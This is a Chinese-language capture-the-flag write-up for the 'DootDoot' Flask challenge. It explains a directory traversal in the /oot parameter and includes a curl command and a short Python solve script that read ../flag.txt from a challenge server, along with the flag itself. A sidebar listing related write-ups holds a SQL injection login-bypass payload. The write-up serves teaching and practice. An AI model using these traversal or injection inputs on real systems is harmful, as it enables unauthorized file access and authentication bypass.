# DootDoot
## Summary
Flask 博客「Penguin Blog」把 `GET /oot` 的 `oot` 参数直接拼成 `resources/<oot>.txt` 后 `open()` 读取,**零过滤**,构成目录穿越(CWE-22)。题面说"能泄露服务器源码"指的是题目自带的 `server.py` 附件,不是靶机上的泄露点。利用 `../flag`(拼上后缀正好变成 `../flag.txt`)读取工作目录下的 flag 文件。
## Solution
### Step 1: 指纹识别与入口分析
首页响应头暴露技术栈:
```
Server: Werkzeug/2.3.7 Python/3.10.1
```
页面正文自述(题目暗示):
```
I found out that I could just locally include those files into my webpage
for ease of access! It's so convenient - any files I want can be included!
```
全站仅两个路由:`/`(4195B)与 `/oot?oot=funfact1|2|3`(Penguin Gallery 模板)。任何非法 `oot` 值一律返回 200 + `<h3>INVALID FACT</h3>`(3810B),**无状态码、长度、时间上的任何回显差异**——典型的"错误分支被 try/except 吞掉"。
### Step 2: 源码审计并构造穿越
原版 `server.py`(题目附件,与 [ubcctf/sapling-ctf-2022](https://github.com/ubcctf/sapling-ctf-2022) → `web/DootDoot/` 逐字一致,官方 solve/readme.md 即本题预期解):
```python
directories = ['resources']
...
f = request.args.get('oot') + '.txt' # 强制 .txt 后缀
directories.append(f)
filename = '/'.join(directories) # resources/<oot>.txt
content = open(filename).read() # 零过滤 -> ../ 穿越
# except Exception -> content = 'INVALID FACT'
```
黑盒测试为什么难打:`resources/` 前缀吞掉绝对路径(`/etc/passwd` → `resources//etc/passwd`),`.txt` 强制后缀让 `../etc/passwd`、`../flag.txt` 全部落空,中段 `..` 还会遇到 ENOTDIR。命中的是**不带文件名的裸 `../`**——`../flag` 拼上后缀正好等于 `../flag.txt`:
```bash
curl -s "http://49.232.142.230:10335/oot?oot=../flag"
```
响应中 `<h3>{{ oot }}</h3>` 处直接回显 flag 文件内容(Jinja 自动转义,无 SSTI;`debug=False` 无调试控制台,读 flag 即达成目标)。
### Step 3: 完整解题脚本
从访问端点一步到打印 flag:
```python
#!/usr/bin/env python3
"""DootDoot (SaplingCTF 2022) — /oot 参数目录穿越 -> CWD/flag.txt"""
import re
import requests
TARGET = "http://49.232.142.230:10335/oot"
# 服务端把 oot 拼成 resources/<oot>.txt 后直接 open(),零过滤 -> ../ 穿越
# "../flag" + ".txt" = "../flag.txt",即 CWD(/usr/src/app)下的 flag 文件
r = requests.get(TARGET, params={"oot": "../flag"}, timeout=10)
flag = re.search(r"<h3>(.*?)</h3>", r.text, re.S).group(1)
print(flag)
```
运行输出(截取):
```
maple{Pingu_s4yz_N00t_No0T}
```
## Flag
```
maple{Pingu_s4yz_N00t_No0T}
```
DootDoot-wp
Zengan 2026-09-16 09:54:42 6 0 返回题目详情
作者:Zengan
8
提交0
收入相关WriteUP
-
Web安全入门指北—POST
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
post-the-get
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
my-first-sqli
username=admin'and1=1--+password任意输入,即可登录
- WEB
- 3年前
-
inspect-me-WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前
-
Python Pickle Unserializer—WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 3年前